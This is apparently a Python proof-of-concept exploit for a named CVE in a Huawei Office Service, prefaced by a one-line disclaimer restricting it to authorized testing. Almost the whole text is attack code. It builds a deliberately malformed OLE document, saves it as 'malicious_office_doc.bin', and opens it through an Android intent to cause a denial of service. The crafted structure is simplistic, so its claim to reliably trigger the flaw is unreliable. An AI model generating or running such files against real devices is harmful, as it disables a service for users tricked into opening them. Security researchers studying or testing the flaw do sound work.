The following code is for security research and authorized testing only.
python
# CVE-2025-58288 PoC - Huawei Office Service DoS
# Vulnerability: Denial of Service in Huawei Office Service
# CVSS: 5.5 (MEDIUM) - AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
import struct
import os
import sys
def generate_malicious_document(output_path):
"""
Generate a malformed office document that triggers DoS
in Huawei Office Service component.
The vulnerability exists in the office service's document
parsing logic, where specially crafted input can cause
resource exhaustion leading to service unavailability.
"""
# Create a minimal malformed document structure
# This mimics an Office document with corrupted internal structures
header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE Compound Document header
# Corrupted sector allocation table (FAT) entries
# Excessive chain entries to cause resource exhaustion
fat_entries = b'\xFF\xFF\xFF\xFF' * 4096 # Large FAT with all max values
# Malformed directory entries with recursive references
dir_entry = b'\x00' * 128 # Empty directory entry
# Construct payload with oversized stream references
payload = header + fat_entries + dir_entry * 100
# Write malicious document
with open(output_path, 'wb') as f:
f.write(payload)
print(f"[+] Malicious document generated: {output_path}")
print(f"[+] File size: {len(payload)} bytes")
print("[!] When opened with Huawei Office Service, this file")
print(" will trigger a Denial of Service condition.")
def trigger_dos(document_path):
"""
Simulate the DoS trigger by sending the document
to the Huawei Office Service parser.
"""
if not os.path.exists(document_path):
print(f"[-] File not found: {document_path}")
return
print(f"[*] Attempting to trigger DoS via: {document_path}")
print("[*] Attack vector: Local (AV:L)")
print("[*] User interaction required: Open the document (UI:R)")
print("[*] Expected result: Office Service becomes unavailable (A:H)")
# In a real scenario, the document would be opened by the
# Huawei Office Service application, triggering the vulnerability
os.system(f"am start -a android.intent.action.VIEW -d 'file://{os.path.abspath(document_path)}'")
if __name__ == "__main__":
output_file = "malicious_office_doc.bin"
print("=" * 60)
print("CVE-2025-58288 - Huawei Office Service DoS PoC")
print("=" * 60)
generate_malicious_document(output_file)
trigger_dos(output_file)